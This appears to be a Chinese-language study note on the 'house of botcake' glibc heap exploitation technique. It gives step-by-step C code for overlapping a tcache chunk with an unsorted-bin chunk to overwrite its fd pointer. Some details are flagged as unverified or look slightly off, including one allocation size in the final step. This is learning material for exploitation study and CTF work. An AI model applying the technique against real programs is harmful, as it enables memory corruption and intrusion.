---
# System prepended metadata

title: house of botcake
tags: [exploitation]

---

# house of botcake

###### tags: `exploitation`

在 glibc 2.29 之後增加了對 tcache 的 double free 檢查，檢查方法是在 tcache fd 之後再增加 key 欄位

```c=
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;
```

該欄位放入 tcache bin 的時候會填上當前 chunk 地址 (再查證

若發現 `chunk->key == tcache` 則遍歷 tcache bin 看 chunk address 是否已經存在於 tcache bin 中從而做到 double free check

少了 double free 漏洞，更改 tcache fd 就比較麻煩，但是有了 house of botcake 不用 double free 而修改 fd 就再也不是夢

## 原理
1. tcache 不看 prev in-use bit 
2. unsorted bin consolidate
3. chunk overlapping

上面三點就是成功關鍵，總結來說就是把 chunk 同時放在 unsorted bin chunk 內和 tcache ，透過 allocate 拿出能修改 chunk fd 大小的空間藉此修改掉存在於 chunk 中的 fd

## exploit
直接看 [how2heap 的 code](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_botcake.c) ，以下假定要用的 chunk 皆屬於 0x110 大小
1. 
```c=
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
    x[i] = malloc(0x100);
}
```
這步主要是為填滿 tcache ( 7 個 )做準備

2. 
```c=+
intptr_t *prev = malloc(0x100);
intptr_t *a = malloc(0x100);
intptr_t *gap = malloc(0x10);
```
a 是等等用來 overwrite 的 fd 的 chunk ，而 prev 則是為了 consolidate 做準備， gap 則是避免 a 跟 top chunk consolidate

前兩步算是預備動作，其中 prev 和 a 因為要 consolidate 的關係要連在一起，其他都無所謂

3. 
```c=+
for(int i = 0;i < 7;i++)
    free(x[i]);
```

填滿 tcache 好讓等等的 a 放入 unsorted bin 

4. 
```c=+
free(a);
free(prev);
```
a 放入 unsorted bin 後接著 free prev ， prev 會和 a 合併成一個 0x220 的 chunk 放在 unsorted bin

5. 
```c=+
malloc(0x100);
```
這步的 malloc 是為了空出一個空間放之後的 a ，這樣 a 的 data space 才會出現 fd 

6. 
```c=+
free(a);
```
此時 a 既屬於 unsorted chunk 的一部分也屬於 tcache bin 
 
7. 
```c=+
intptr_t *b = malloc(0x120);
```
構造一個能 overlap 到 a 的 fd 的 chunk ，此時的 malloc 會從 unsorted chunk 切一塊 0x130 大小的 chunk ，此 chunk 的 data space 會涵蓋 chunk a 的 header 和 fd 部分

8. 
```c=+
malloc(0x110)
intptr_t *target = malloc(0x110);
```

到這邊就可以成功的進行一次 overwrite fd

若需要做兩次以上的 overwrite fd 則 free 掉 b 再 free a 就可以再來無數次，是相當好用的做法